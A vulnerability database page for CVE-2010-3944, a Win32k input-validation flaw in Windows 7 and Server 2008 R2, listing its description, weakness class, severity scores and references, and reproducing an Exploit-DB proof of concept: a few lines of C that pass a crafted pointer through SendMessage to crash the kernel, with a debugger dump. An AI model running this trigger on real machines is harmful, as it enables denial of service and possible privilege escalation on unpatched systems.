CVE-2010-3944 : Detail

CVE-2010-3944

A03-Injection
0.05%V3
Local
2010-12-16
18h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2008 R2 and Windows 7 does not properly validate user-mode input, which allows local users to gain privileges via a crafted application, aka "Win32k Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15758

Publication date : 2010-12-16 23h00 +00:00
Author : Stefan LE BERRE
EDB Verified : Yes

/************************************************************************************* * MS10-098 * CVE-2010-3944 * * Microsoft Windows Win32k pointer dereferencement * * -------------------- * Affected Software * ------------------------ * Microsoft Windows 7 / 2008 * * * -------------------- * Consequences * ----------------------- * An unprivileged user may be able to cause a bugcheck, or possibly execute * arbitrary code by CSRSS.EXE. * * * * Credits : Stefan LE BERRE ([email protected]) * Ludo t0ka7a * * WebSites : http://www.sysdream.com/ * http://ghostsinthestack.org/ * http://infond.blogspot.com/ * http://twitter.com/hackinparis * * kd> r * eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618 * eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0 nv up ei ng nz na pe nc * cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 * win32k!xxxRealDefWindowProc+0xf6: * 8d72af90 c60000 mov byte ptr [eax],0 ds:0023:00013370=?? * *************************************************************************************/ #include <stdio.h> #include <windows.h> #include <Winuser.h> int main(int argc, char *argv[]) { SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769 return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

References

http://www.us-cert.gov/cas/techalerts/TA10-348A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.securitytracker.com/id?1024880
Tags : vdb-entry, x_refsource_SECTRACK